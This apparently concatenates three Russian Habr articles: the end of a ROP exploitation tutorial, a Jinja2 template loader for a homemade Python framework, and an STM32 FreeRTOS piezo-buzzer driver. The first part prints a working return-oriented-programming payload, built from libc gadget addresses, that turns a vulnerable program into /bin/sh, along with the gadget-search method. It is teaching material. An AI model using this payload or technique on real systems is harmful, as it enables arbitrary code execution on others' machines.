Здесь все просто — на x86-64 код приложения выполняет системный вызов используя инструкцию syscall. При этом в %rax необходимо поместить номер системного вызова (0x3b), в регистры %rdi, %rsi, %rdx… помещаются аргументы. Если забыли как выглядит список аргументов execve можете посмотреть [тут](http://man7.org/linux/man-pages/man2/execve.2.html)
Проверьте, что shell вызывается:
```
nasm -f elf64 exec1.S -o exec.o
ld -o exec exec.o
./exec
```
**Гаджеты**
Вообще говоря, гаджет — это просто кусок кода библиотеки или приложения. Искать гаджеты для нашего будущего эксплоита мы будем в libc. Для начала давайте посмотрим в какой адрес мапится код секция libc. Для этого можно, остановить приложение на функции main при помощи gdb и выполнить:
```
cat /proc/`pidof main`/maps | grep libc | grep r-xp
```
Здесь нам важен флаг «X» в маппинге, по нему мы можем понять, что это непосредственно исполняемая секция.
```
7ffff7a14000-7ffff7bcf000 r-xp 00000000 08:01 466797 /lib/x86_64-linux-gnu/libc-2.19.so
```
Идеологически поведение будущего эксплоита показано на следующем рисунке:
Мы начнем с того, что положим на стек вместо адреса возврата addr1, который будет указывать на первый гаджет из кода libc. Первый гаджет выполнит pop %rax, поместив в регистр %rax приготовленное нами на стеке значение 0x3b, далее ret возьмет со стека адрес addr2 и прыгнет на него. Что касается 0x601000 — это адрес начала rw области (data секция) исполняемого файла ./main:
```
00400000-00401000 r-xp 00000000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main
00600000-00601000 r--p 00000000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main
00601000-00602000 rw-p 00001000 08:01 527064 /home/alexhoppus/Desktop/rop_tutorial/main
```
Мы выберем этот адрес для того, чтобы поместить по нему строку "/bin//sh". В регистр %rdx сохраним саму строку, а в %rdi её адрес.
```
mov qword [rdi], rdx
```
помещает "/bin//sh" по адресу 0x601000. Основная работа сделана — остальной код обнуляет значение регистров %rsi и %rdx (2 и 3 аргументы execve) и выполняет syscall. Таким образом, мы в 7 return'ов execнули ничего не подозревающий main и превратили его в /bin/sh.
**Как найти гаджеты**
На самом деле существует множество утилит, анализирующих код библиотеки / приложения и предоставляющих вам набор готовых гаджетов с адресами. В данной статье для поиска гаджетов использовалась [эта утилита](https://github.com/0vercl0k/rp). Пример вывода поисковика гаджетов:
```
./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.19.so -r 2 | grep "pop rax"
...
0x0019d345: pop rax ; out dx, al ; jmp qword [rdx] ; (1 found)
0x000fafb9: pop rax ; pop rdi ; call rax ; (1 found)
0x000193b8: pop rax ; ret ; (1 found)
0x001a09c8: pop rax ; adc al, 0xF1 ; jmp qword [rax] ; (1 found)
...
```
Для получения реальных адресов гаджетов в памяти необходимо прибавить к полученным в выводе адресам смещение, равное адресу начала маппинга исполняемой секция libc (см. выше) — 0x7ffff7a14000.
**И что же получается в итоге?**
После того, как Вы отыщите все необходимые гаджеты, получится что-то вроде
```
python -c "print 'a'*24+'\xb8\xd3\xa2\xf7\xff\x7f\x00\x00'+'\x3b\x00\x00\x00\x00\x00\x00\x00'+'\x21\x6a\xa3\xf7\xff\x7f\x00\x00'+'\x00\x10\x60\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x2f\x62\x69\x6e\x2f\x73\x68\x00'+'\x27\x3c\xa3\xf7\xff\x7f\x00\x00'+'\x14\xa1\xb4\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\xd5\x68\xad\xf7\xff\x7f\x00\x00'" | ./main
```
Проверьте с помощью strace, что shell действительно запускается. Если все сделано верно, /bin/sh запустится и сразу же выйдет, так как на stdin уже пусто. По понятным причинам в реальных условиях связывать stdin этого шела с клавиатурой никто не будет, но мы можем позволить небольшой хак, чтобы протестировать работоспособность эксплоита:
```
alexhoppus@hp:~/Desktop/rop_tutorial$ cat <(python -c "print 'a'*24+'\xb8\xd3\xa2\xf7\xff\x7f\x00\x00'+'\x3b\x00\x00\x00\x00\x00\x00\x00'+'\x21\x6a\xa3\xf7\xff\x7f\x00\x00'+'\x00\x10\x60\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x2f\x62\x69\x6e\x2f\x73\x68\x00'+'\x27\x3c\xa3\xf7\xff\x7f\x00\x00'+'\x14\xa1\xb4\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\x8e\x5b\xa1\xf7\xff\x7f\x00\x00'+'\x00\x00\x00\x00\x00\x00\x00\x00'+'\xd5\x68\xad\xf7\xff\x7f\x00\x00'") - | ./main
aaaaaaaaaaaaaaaaaaaaaaaa�Ӣ��
ls
Blank Flowchart - New Page (2).jpeg article~ exec1.S input main.c shell
a.out exec hello input2 rop.jpeg stack.jpeg
article
```
Ну вот и всё. Надеюсь что статья даст почву для ваших будущих экспериментов (не в практической плоскости, а научно-познавательной). | https://habr.com/ru/post/255519/ | null | ru | null |
# Django своими руками часть 1: Собираем шаблоны для jinja2
#### Введение
В этом посте хотелось бы описать создание небольшого фреймворка с системой плагинов как django. Только с использованием внешних компонентов. Jinja2 для шаблонов, bottle для получения переменых среды, вместо ORM будет использоваться pymongo, а сессиями будет заниматься beaker.
В первой части хочу рассказать как удобно подсоединить Jinja2 чтоб шаблоны можно было собирать из разных папок (читай плагинов) и кешировать их.
Также в следующей части хотелось бы рассказать как подключить к шаблонам gettext и автоматизировать их перевод.
#### Структура фреймворка
Предполагается что наш фреймворк как библиотека может лежать в любом каталоге скорее всего для ubuntu '/usr/local/lib/python2.6/dist-packages/', а проект где ни будь, ну скажем, например, '/home/user/worckspace/'. В проекте имеется index.wsgi для mod\_wsgi или для uwsgi index\_wsgi.py в котором указан путь к нашей библиотеке, если она вручную куда то копировалась.
Проект имеет примерно такую структуру:
```
/project/
/__init__.py
/app/
/__init__.py
/app1/
/__init__.py
/templ/
/static/
/routes.py
/models.py
/views.py
/teml/
/static/
/index.py
/routes.py
/views.py
/models.py
/settings.py
```
Соответственно в подкаталогах /templ будут лежать шаблоны, в /static статика, в /app любое количество приложений (или компонентов, кому как больше нравится).
Соответствено предполагается что в нашей библиотеке также есть папка app аналог джанговского contrib в которой тоже будут лежать компоненты со своими шаблонами.
Также в проекте по молчанию еще будет создаваться папка например caсhe в нее jinja2 будет сохранять кеш шаблонов.
#### Подключение шаблонов
Итак все наше подключение будет лежать в файлике core.py в пакете core который в свою очередь лежит в корне библиотеки. Импортируем необходимые классы.
```
from jinja2 import Environment, PackageLoader, FunctionLoader, FileSystemBytecodeCache
```
Далее определяем путь для шаблонов, эту функцию мы будем вызывать при загрузке шаблонов.
Шаблоны на выбор могут иметь несколько расширений.
```
def get_app_root(app):
"""Returns path to app or app name."""
if isinstance(app, (str, )):
__import__(app)
app = sys.modules[app]
return os.path.dirname(os.path.abspath(app.__file__))
templ_exts = ['', '.tpl', '.html', '.htm']
def split_templ_name (t):
""" определение пути для загрузки шаблонов. Двоеточие выступает символом разделителя для указания в каком модуле будет лежать шаблон. Чтоб не было путаницы с одинаковыми именами. """
if ':' in t:
# тут составляем путь до шаблона конкретного модуля
module, file = t.split(":", 1)
module_path = os.path.join(get_app_root( module), "templ", "")
else:
# путь к шаблонам которые лежат в папке проекта.
module = ' '
module_path = os.sep + 'templ' + os.sep
file = t
return (module, module_path, file)
```
Собственно сама загрузка шаблонов.
Здесь можно реализовать альтернативные места хранения шаблонов, например реализовав загрузку из базы
```
def union_templ(t, **p):
(module, module_path, file) = split_templ_name (t)
def load_template (base, module_path, file):
path = base + module_path + file
template = ' '
for ext in templ_exts:
filename = path+ext
if os.path.exists(filename):
with open(filename, "rb") as f:
template = f.read()
break;
return template
template = load_template (os.getcwd(), module_path, file);
if not template:
template = load_template( settings.lib_path, module_path, file);
if not template:
return 'Template not found %s' % t
return template.decode('UTF-8')
```
Автоматическое создание папки для кеширования шаблонов.
```
jcp = os.path.join(os.getcwd(), 'jinja_cache')
if not os.path.isdir(jcp): os.mkdir(jcp)
```
Создание объекта, управляющего кешем.
```
bcc = FileSystemBytecodeCache(jcp, '%s.cache')
```
Вешаем хук на jinja2, где указываем на необходимость кеширования и передаем функцию, которую нужно вызывать для загрузки шаблонов.
```
jinja = Environment(auto_reload=True, loader=FunctionLoader(union_templ), bytecode_cache = bcc )
```
Функция которая непосредственно выполняет отрисовку шаблона. Сейчас она ничего особенного не делает, напрямую передавая управление jinja2, но мы сюда еще вернемся.
```
def render_templ(t, **p):
template = jinja.get_template(t)
return template.render(**p)
```
Импорт этой функции на глобальный уровень.
```
__builtin__.templ = render_templ
```
Теперь благодаря этой последней строчке будет достаточно в любом файле вызвать функцию templ() и передать ей в аргументах название шаблона и что в нем вывести. Например:
return templ('app.base:base', param = param) или return templ('base', param = param), ':' значит что шаблон лежит не в проекте, а в соответствующем компоненте в данном случае 'app.base'.
#### Резюме
Итак для начала у нас есть небольшой фреймворк с модульной структурой. На базе которого мы будем двигаться дальше.
Это пока первая статья и многое, наверно, можно было бы написать лучше, поэтому буду рад всем замечаниям и вопросам.
[Продолжение](http://habrahabr.ru/post/146798/) | https://habr.com/ru/post/144717/ | null | ru | null |
# STM32: FreeRTOS и пьезокерамический излучатель
Керамический пьезоизлучатель (buzzer) — простая деталь, наравне со светодиодом требующая минимального набора ресурсов для управления и настолько же легко подключаемая к микроконтроллеру. Как и светодиоду с возможностью плавной регулировки яркости, от микроконтроллера ему требуется не более одного канала таймера и внешний вывод.
Много в интернете уроков «Подключаем пищалку к ардуино», только вот заканчиваются они проигрыванием «В траве сидел кузнечик» или озвучкой срабатывания RFID датчика. Наверное тем, кто занят этим профессионально и серьезно, не до ведения блогов и записи видеоуроков.
А ведь миниатюрный керамический динамик — шаг в сторону более дружелюбного интерфейса с человеком. Нажатия кнопок, касания сенсорной панели, реакция на различные события… Такая вот обратная связь в виде звукового отклика!
Под катом попробуем сделать с этим что нибудь, а именно напишем драйвер пьезодинамика и заставим его параллельно озвучивать несколько разных внешних событий.
Железки
=======
Использовать будем самодельную плату с микроконтроллером stm32f103 в 144-ногом корпусе и пьезоизлучатель ***PKLCS1212E**40**A1-R1*** фирмы Murata.
Этот несложный элемент представляет собой керамическую пластину, к обкладкам которой подается сигнал некоторой частоты. В результате пластина колеблется сама и колеблет воздух, а мы слышим звук. Схему платы приводить смысла нет, а вот подключение пищалки показать стоит:
Пьезодинамик включен через транзистор и сделано это для большей громкости звучания (раскачивается амплитудой 5V), хотя можно вешать напрямую на ногу микроконтроллера (3.3V). Документация на него содержит АЧХ, из которого видно, что максимальная амплитуда достигается при входном сигнале 4 кГц. Да и в парт-номере компонента (*PKLCS1212E**40**A1-R1*) это отражено (*Expressed resonant frequency by two-digit alphanumerics. The unit is in 100 hertz (Hz.) 4kHz (4000Hz) is denoted as «40.»*).
Работать мы будем со звуком и тут я не рискну рассказывать что-то глубже основ, так как сам имею знания на минимальном уровне: есть частоты, которые динамик может воспроизводить, есть [октавная система](https://ru.wikipedia.org/wiki/%D0%9E%D0%BA%D1%82%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0), с помощью которой можно сгруппировать, дать названия основным частотам, и закинуть эти данные в массив. С ним и будем работать:
```
u16 GL_BuzzerAllNotes[] = {
261, 277, 294, 311, 329, 349, 370, 392, 415, 440, 466, 494,
523, 554, 587, 622, 659, 698, 740, 784, 831, 880, 932, 988,
1046, 1109, 1175, 1245, 1319, 1397, 1480, 1568, 1661, 1760, 1865, 1976,
2093, 2217, 2349, 2489, 2637, 2794, 2960, 3136, 3322, 3520, 3729, 3951,
4186, 4434, 4699, 4978, 5274, 5588, 5920, 6272, 6645, 7040, 7459, 7902};
#define OCTAVE_ONE_START_INDEX (0)
#define OCTAVE_TWO_START_INDEX (OCTAVE_ONE_START_INDEX + 12)
#define OCTAVE_THREE_START_INDEX (OCTAVE_TWO_START_INDEX + 12)
#define OCTAVE_FOUR_START_INDEX (OCTAVE_THREE_START_INDEX + 12)
#define OCTAVE_FIVE_START_INDEX (OCTAVE_FOUR_START_INDEX + 12)
#define BUZZER_DEFAULT_FREQ (4186) //C8 - 5th octave "Do"
#define BUZZER_DEFAULT_DURATION (20) //20ms
#define BUZZER_VOLUME_MAX (10)
#define BUZZER_VOLUME_MUTE (0)
```
Драйвер пьезодинамика
=====================
Пьезодинамик — не светодиод, широтно-импульсной модуляцией с постоянной частотой и переменной скважностью импульсов тут не отделаешься. Ножку, на которой висит управляющий транзистор (PA15, TIM2, CH1), настраиваем в режиме PWM:
**void BuzzerConfig(void)**
```
void BuzzerConfig(void)
{
GPIO_InitTypeDef GPIO_Options;
TIM_TimeBaseInitTypeDef TIM_BaseOptions;
TIM_OCInitTypeDef TIM_PWM_Options;
RCC_APB2PeriphClockCmd(BUZZER_CLK_PINS | RCC_APB2Periph_AFIO, ENABLE);
RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM2, ENABLE);
GPIO_PinRemapConfig(GPIO_Remap_SWJ_JTAGDisable, ENABLE);
GPIO_PinRemapConfig(GPIO_PartialRemap1_TIM2, ENABLE);
//PA.15 TIM2_CH1, BUZZER
GPIO_Options.GPIO_Pin = BUZZER_PIN;
GPIO_Options.GPIO_Speed = GPIO_Speed_10MHz;
GPIO_Options.GPIO_Mode = GPIO_Mode_AF_PP;
GPIO_Init(BUZZER_PORT, &GPIO_Options);
TIM_BaseOptions.TIM_Period = 2 * BUZZER_VOLUME_MAX - 1;
TIM_BaseOptions.TIM_ClockDivision = TIM_CKD_DIV1;
TIM_BaseOptions.TIM_CounterMode = TIM_CounterMode_Up;
TIM_TimeBaseInit(TIM2, &TIM_BaseOptions);
TIM_PWM_Options.TIM_OCMode = TIM_OCMode_PWM1;
TIM_PWM_Options.TIM_OutputState = TIM_OutputState_Enable;
TIM_PWM_Options.TIM_OutputNState = TIM_OutputNState_Disable;
TIM_PWM_Options.TIM_OCPolarity = TIM_OCPolarity_High;
TIM_PWM_Options.TIM_Pulse = 0;
TIM_OC1Init(TIM2, &TIM_PWM_Options);
TIM_OC1PreloadConfig(TIM2, TIM_OCPreload_Enable);
TIM_ARRPreloadConfig(TIM2, ENABLE);
TIM_Cmd(TIM2, ENABLE);
}
```
В коде не присутствует важный параметр настройки таймера — предделитель тактового сигнала. Его будем изменять динамически, чем и добьемся генерации звука нужной частоты.
Очевидно, что смена частоты сигнала приводит к изменению звучания, а вот как быть со скважностью импульсов? Я не нашел ничего полезного по этому вопросу в документации, но было предположение, что изменение скважности влечёт за собой смену громкости. Если это правда, то меандр (скважность = 50%) будет давать максимальную громкость, а схождение к 0% (или симметрично, к 100%) ослабит громкость, в конце концов, до нуля. Реально это работает так себе, поэтому я только включаю и выключаю пищалку, используя два следующих макроса:
```
#define BUZZER_VOLUME_MAX 10
#define BUZZER_VOLUME_MUTE 0
```
BUZZER\_VOLUME\_MAX — это такое количество импульсов, которое дважды уложится в необходимый период работы, который обратно пропорционален частоте. Нужную частоту (установку) мы знаем, период тоже понятен (x2), а значит и предделитель для таймера найти не составит труда. В STM32 это любое число от 1 до 0xFFFF.
Оборачиваем все действия в функцию установки частоты:
```
void BuzzerSetFreq(u16 freq)
{
TIM2->PSC = (SYSCLK_FREQ / (2 * BUZZER_VOLUME_MAX * freq)) - 1; //prescaller
}
```
И смена скважности для задания громкости:
```
void BuzzerSetVolume(u16 volume)
{
if(volume > BUZZER_VOLUME_MAX)
volume = BUZZER_VOLUME_MAX;
TIM2->CCR1 = volume;
}
```
Всё, драйвер пищалки готов. Можно сыграть что-нибудь, предварительно создав массив частот (и длительностей неплохо бы).
**Happy Birthday**
```
u32 HappyBirthday[] = {
262, 262, 294, 262, 349, 330, 262,
262, 294, 262, 392, 349, 262, 262,
523, 440, 349, 330, 294, 466, 466,
440, 349, 392, 349};
for(i = 0; i < sizeof(HappyBirthday) / sizeof(u32); i++)
{
BuzzerSetFreq(HappyBirthday[i]);
BuzzerSetVolume(BUZZER_VOLUME_MAX);
DelayTime(400);
BuzzerSetVolume(BUZZER_VOLUME_MUTE);
}
```
Пьезодинамик, как совместно используемый ресурс
===============================================
Глобальная идея состоит в создании удобного интерфейса псевдопараллельного доступа различных задач к аппаратному модулю пьезодинамика средствами FreeRTOS. О самой FreeRTOS рассказывать не буду, эта тема не для одной статьи, которых уже очень не мало (в том числе и неплохая онлайн документация на [www.freertos.org](http://www.freertos.org). На русском могу посоветовать этот [ресурс](http://microsin.net/programming/arm/freertos-part1.html)).
Создадим составной тип данных, описывающий минимальный набор необходимых параметров для однократного воспроизведения звука определенной частоты и громкости в течение определенного времени. Звучит страшновато, но это лишь структура:
```
typedef struct
{
u16 freq;
u16 volume;
u16 duration;
} BuzzerParameters_t;
```
Для использования пищалки в качестве ресурса, которому любая задача может отдать на «озвучивание» какие-то данные, будем использовать стандартный механизм межзадачной коммуникации и синхронизации FreeRTOS — ***очередь***.
Очередь хранит в себе конечное множество элементов данных фиксированного размера и представляет собой FIFO буфер, в который задачи могут как записывать данные, так и забирать — с последующим удалением (или без, по желанию). Любое количество задач может записать в очередь свои данные, а вот читать из неё будет только задача пьезодинамика.
Создадим очередь длиной 10 элементов, состоящую из кирпичиков типа ***BuzzerParameters\_t***:
```
#define BUZZER_QUEUE_LEN 10
QueueHandle_t BuzzerQueue = xQueueCreate(BUZZER_QUEUE_LEN, sizeof(BuzzerParameters_t);
```
Обработкой событий пищалки будет заниматься задача динамика. Задачи во FreeRTOS — это маленькие подпрограммы, имеющие точку входа и бесконечный цикл, return из которого запрещен (допускается либо приостановка задачи, либо удаление). До начала выполнения задачу нужно создать, передав первым параметром указатель на функцию задачи, а последним — необязательный хендл.
```
TaskHandle_t BuzzerHandle;
xTaskCreate(vTask_BuzzerBeep, "BuzzerBeep", configMINIMAL_STACK_SIZE, NULL, tskIDLE_PRIORITY + 2, &BuzzerHandle);
```
В бесконечном цикле задача будет ждать появления данных в очереди. Параметр ***portMAX\_DELAY*** означает, что задача заблокирована планировщиком до тех пор, пока очередь пуста. Как только это становится не так, драйвер пищалки инициализируется переданными через очередь параметрами, а считанный элемент удаляется из очереди (если удалять не требуется, есть функция ***xQueuePeek()***).
Вместо задержки, основанной на бездействии микроконтроллера в течение какого-то времени, используется функция ***vTaskDelay()***, блокирующая задачу на заданное количество времени в миллисекундах (на самом деле, на количество системных тиков ОСРВ, но у меня 1 тик = 1 мс). Таким образом, задача блокируется снова на время воспроизведения звука, а по истечении времени блокировки прекращает его генерацию.
```
void vTask_BuzzerBeep(void *pvParameters)
{
BuzzerParameters_t buzzerParameters;
for(;;)
{
xQueueReceive(BuzzerQueue, &buzzerParameters, portMAX_DELAY);
BuzzerSetFreq(buzzerParameters.freq);
BuzzerSetVolume(buzzerParameters.volume);
vTaskDelay(buzzerParameters.duration);
BuzzerSetVolume(BUZZER_VOLUME_MUTE);
}
}
```
Выглядит несложно и логично, в отличие от шаманства с таймерами, прерываниями и флагами без использования ОСРВ. Попробуем теперь этот механизм в деле.
Дано:
* Кнопка. Неплохо бы различать длинные и короткие нажатия.
* Механический квадратурный энкодер. Можно крутить по часовой стрелке, против часовой, а так же нажимать на кнопку по центру. Для кнопки короткие и длинные нажатия тоже актуальны.
Начнём с кнопки. Она может находится в одном из трёх состояний:
```
typedef enum
{
BUTTON_RELEASED = 0,
BUTTON_SHORT_PRESSED,
BUTTON_LONG_PRESSED
} BUTTON_PARAMETERS_t;
```
Инициализируем ножку микроконтроллера, настроим прерывание:
**void StartButtonConfig(void)**
```
void StartButtonConfig(void)
{
GPIO_InitTypeDef GPIO_Options;
EXTI_InitTypeDef EXTI_Options;
NVIC_InitTypeDef NVIC_Options;
RCC_APB2PeriphClockCmd(START_BUTTON_CLK_PINS | RCC_APB2Periph_AFIO, ENABLE);
GPIO_Options.GPIO_Pin = START_BUTTON_PIN;
GPIO_Options.GPIO_Mode = GPIO_Mode_IN_FLOATING;
GPIO_Init(START_BUTTON_PORT, &GPIO_Options);
GPIO_EXTILineConfig(START_BUTTON_PORTSOURCE, START_BUTTON_PINSOURCE);
EXTI_Options.EXTI_Line = START_BUTTON_EXTI_LINE;
EXTI_Options.EXTI_Mode = EXTI_Mode_Interrupt;
EXTI_Options.EXTI_Trigger = EXTI_Trigger_Rising;
EXTI_Options.EXTI_LineCmd = ENABLE;
EXTI_Init(&EXTI_Options);
NVIC_Options.NVIC_IRQChannel = EXTI2_IRQn;
NVIC_Options.NVIC_IRQChannelPreemptionPriority = 13;
NVIC_Options.NVIC_IRQChannelSubPriority = 0;
NVIC_Options.NVIC_IRQChannelCmd = ENABLE;
NVIC_Init(&NVIC_Options);
}
```
Первым событием, которое произойдет при нажатии кнопки, будет вход в обработчик:
**void EXTI2\_IRQHandler(void)**
```
void EXTI2_IRQHandler(void)
{
static portBASE_TYPE xHigherPriorityTaskWoken = pdFALSE;
EXTI_InitTypeDef EXTI_Options;
EXTI_ClearITPendingBit(EXTI_Line2);
EXTI_Options.EXTI_Line = EXTI_Line2;
EXTI_Options.EXTI_Mode = EXTI_Mode_Interrupt;
EXTI_Options.EXTI_Trigger = EXTI_Trigger_Rising;
EXTI_Options.EXTI_LineCmd = DISABLE;
EXTI_Init(&EXTI_Options);
xSemaphoreGiveFromISR(StartButtonSemaphore, &xHigherPriorityTaskWoken);
if(xHigherPriorityTaskWoken == pdTRUE)
{
portEND_SWITCHING_ISR(xHigherPriorityTaskWoken);
}
}
```
В нём мы стандартно сбрасываем флаг случившегося события и вырубаем генерацию прерывания на этой ноге (такой вот у меня антидребезг, работает офигенно). С помощью семафора говорим задаче обработки кнопки ***vTask\_GetStartButton()***, что пора и ей поработать. Выходим из прерывания.
К этому времени задача ***vTask\_GetStartButton()*** с хендлом ***StartButtonHandle*** уже должна быть создана и заблокирована функцией ***xSemaphoreTake()***, ожидающей семафора из прерывания. Логика работы следующая:
1. Ждем, пока ***xSemaphoreTake()*** получит желаемое из прерывания
2. Пикаем динамиком (с помощью очереди, ага!) и блокируем задачу на 1/4 секунды
3. Пикаем каждые 100 мс в течение 300 мс, если кнопка в зажатом состоянии. Используем разные ноты в сторону повышения частоты из массива ***GL\_BuzzerAllNotes[]***
4. В бесконечном цикле ждем, пока кнопку отпустят окончательно (обязательно внутри делаем задержку средствами ОСРВ, иначе ожидание заберет все процессорное время себе — а вдруг пользователь поставит бутылку виски на кнопку, как это было в Silicon Valley =) )
5. Определяем по переменной ***notePointer***, как долго удерживали кнопку (***BUTTON\_LONG\_PRESSED*** или ***BUTTON\_SHORT\_PRESSED***)
6. Пикаем в последний раз, возобновляем реакцию на прерывание
Но лучше прочесть комментарии в коде — они более последовательны:
**void vTask\_GetStartButton(void \*pvParameters)**
```
void vTask_GetStartButton(void *pvParameters)
{
BuzzerParameters_t buzzerLocalParameters;
u32 localStartButtonState;
EXTI_InitTypeDef EXTI_Options;
u32 notePointer = 0;
EXTI_Options.EXTI_Line = START_BUTTON_EXTI_LINE;
EXTI_Options.EXTI_Mode = EXTI_Mode_Interrupt;
EXTI_Options.EXTI_Trigger = EXTI_Trigger_Rising;
EXTI_Options.EXTI_LineCmd = ENABLE;
buzzerLocalParameters.volume = BUZZER_VOLUME_MAX;
buzzerLocalParameters.duration = BUZZER_DEFAULT_DURATION;
/*
* first semaphore take after creation (NEED!! it issued after power up)
*/
xSemaphoreTake(StartButtonSemaphore, portMAX_DELAY);
for(;;)
{
/*
* take semaphore from button interrupt
*/
xSemaphoreTake(StartButtonSemaphore, portMAX_DELAY);
/*
* buzzer "pick" on button click and wait
*/
buzzerLocalParameters.freq = NOTE_C7;
xQueueSend(BuzzerQueue, (void *)&buzzerLocalParameters, portMAX_DELAY);
vTaskDelay(250);
/*
* "pick" new note while button pressed, but not more 3 times
*/
while(GPIO_ReadInputDataBit(START_BUTTON_PORT, START_BUTTON_PIN) == 1)
{
buzzerLocalParameters.freq = GL_BuzzerAllNotes[OCTAVE_FOUR_START_INDEX + notePointer];
xQueueSend(BuzzerQueue, (void *)&buzzerLocalParameters, portMAX_DELAY);
vTaskDelay(100);
if(notePointer++ >= 3)
break;
}
/*
* wait while button pressed
*/
while(GPIO_ReadInputDataBit(START_BUTTON_PORT, START_BUTTON_PIN) == 1)
{
vTaskDelay(100);
}
localStartButtonState = (notePointer >= 3) ? (BUTTON_LONG_PRESSED) : (BUTTON_SHORT_PRESSED);
xQueueSend(StartButtonQueue, (void *)&localStartButtonState, 0);
/*
* "pick" the last time and re-enable interrupt on click
*/
buzzerLocalParameters.freq = NOTE_C8;
xQueueSend(BuzzerQueue, (void *)&buzzerLocalParameters, portMAX_DELAY);
EXTI_Init(&EXTI_Options); //Enable interrupt (disabled in interrupts.c)
notePointer = 0;
vTaskDelay(100);
}
}
```
Результат нажатия складываем в заранее созданную очередь для кнопки размером в один элемент:
```
StartButtonQueue = xQueueCreate(1, sizeof(u32));
```
После обработки нажатия очередь будет хранить результат до тех пор, пока какая-либо задача не считает его оттуда.
*Тут стоит отдельно заострить внимание на политике добавления в очередь данных. Нам в помощь третий параметр функции **xQueueSend()**. Если это 0 и очередь заполнена, то игнорируем запись и идем дальше по коду. portMAX\_DELAY наоборот же, позволяет блокировать выполнение задачи, пока в очереди не будет свободен хотя бы один элемент для записи. В общем случае этот параметр есть время, на которое нужно блокировать задачу для ожидания появления свободного места. Нажатие кнопки, например, можно и проигнорировать, но вот озвучить это надо всегда, учитывая, что озвучка не занимает много времени при разумном параметре **duration***.
То же самое делаем с кнопкой энкодера (отдельное прерывание, отдельная очередь ***EncoderButtonQueue***, отдельная задача обработки, отправляющая данные в общую очередь динамика)
Теперь энкодер. Хочу, что бы каждый щелчёк был озвучен, а еще на слух понятно, случился инкремент или декремент. Не будем создавать отдельную задачу, обработаем все в прерывании. Оно настроено только на один канал, но и по фронту и по спаду (никогда, никогда не используйте встроенный в этот микроконтроллер аппаратный обработчик энкодера — он ужасен):
**void EncoderConfig(void)**
```
void EncoderConfig(void)
{
GPIO_InitTypeDef GPIO_Options;
EXTI_InitTypeDef EXTI_Options;
RCC_APB2PeriphClockCmd(ENCODER_CLK_PINS | RCC_APB2Periph_AFIO, ENABLE);
GPIO_Options.GPIO_Pin = ENCODER_A_PIN | ENCODER_B_PIN;
GPIO_Options.GPIO_Mode = GPIO_Mode_IN_FLOATING;
GPIO_Init(ENCODER_PORT, &GPIO_Options);
GPIO_EXTILineConfig(ENCODER_PORTSOURCE, ENCODER_PINSOURCE); //Only one line interrupt!
EXTI_Options.EXTI_Line = ENCODER_EXTI_LINE;
EXTI_Options.EXTI_Mode = EXTI_Mode_Interrupt;
EXTI_Options.EXTI_Trigger = EXTI_Trigger_Rising_Falling;
EXTI_Options.EXTI_LineCmd = ENABLE;
EXTI_Init(&EXTI_Options);
}
```
По входу в прерывание определим, куда же повернули вал: по часовой стрелке или против:
**void EXTI0\_IRQHandler(void)**
```
u32 localEncoderAction;
if(GPIO_ReadInputDataBit(ENCODER_PORT, ENCODER_A_PIN) == 1)
{
if(GPIO_ReadInputDataBit(ENCODER_PORT, ENCODER_B_PIN) == 1)
{
localEncoderAction = ENCODER_WAS_INCR;
}
else
{
localEncoderAction = ENCODER_WAS_DECR;
}
}
else
{
if(GPIO_ReadInputDataBit(ENCODER_PORT, ENCODER_B_PIN) == 1)
{
localEncoderAction = ENCODER_WAS_DECR;
}
else
{
localEncoderAction = ENCODER_WAS_INCR;
}
}
EXTI_ClearITPendingBit(EXTI_Line0);
```
Все в той же функции обработки прерывания, на основании информации о направлении поворота будем изменять переменную ***buzzerRotationCounter***, которая определяет индекс проигрываемой ноты из массива ***GL\_BuzzerAllNotes[]***. Вращая энкодер, получим увеличение или уменьшение частоты звучания на +-15 едениц от значения 25. Далее формируем и отправляем элемент в очередь динамика, семафорим о событии энкодера и выходим из прерывания:
**void EXTI0\_IRQHandler(void), продолжение**
```
static portBASE_TYPE xHigherPriorityTaskWoken = pdFALSE;
static TickType_t xLastTime;
static s32 buzzerRotationCounter = 15;
BuzzerParameters_t localParameters;
if((xTaskGetTickCount() - xLastTime) > 300)
{
buzzerRotationCounter = 25;
}
if(localEncoderAction == ENCODER_WAS_INCR)
{
buzzerRotationCounter++;
if(buzzerRotationCounter > 39)
{
buzzerRotationCounter = 39;
}
}
else //ENCODER_WAS_DECR
{
buzzerRotationCounter--;
if(buzzerRotationCounter < 10)
{
buzzerRotationCounter = 10;
}
}
xLastTime = xTaskGetTickCount();
localParameters.duration = 10;//BUZZER_DEFAULT_DURATION;
localParameters.freq = GL_BuzzerAllNotes[buzzerRotationCounter];
localParameters.volume = BUZZER_VOLUME_MAX;
xQueueSendFromISR(BuzzerQueue, (void *)&localParameters, &xHigherPriorityTaskWoken);
xQueueSendFromISR(EncoderQueue, (void *)&localEncoderAction, &xHigherPriorityTaskWoken);
if(xHigherPriorityTaskWoken == pdTRUE)
{
portEND_SWITCHING_ISR(xHigherPriorityTaskWoken);
}
```
Не описать алгоритм работы словами я не мог, но лучше все же ~~увидеть~~ услышать, что из этого вышло:
Ну и зачем всё это?
===================
Не то, что бы вышеописанное очень сложно и обязательно надо было разобрать это по шагам. Серьезно, суть публикации глобально можно свести к предложению — создадим задаче динамика очередь и согласно придуманным алгоритмам будем запихивать туда данные. Однако мне показалось, что подобный пример будет не плох для демонстрации распараллеливания доступа различных задач к аппаратным ресурсам железа средствами FreeRTOS. То же самое, но сделанное своими руками на флагах и прерываниях с таймерами хоть и кушало памяти меньше, чем ОСРВ — но в плане читабельности, переносимости и удобства использования было на порядок хуже.
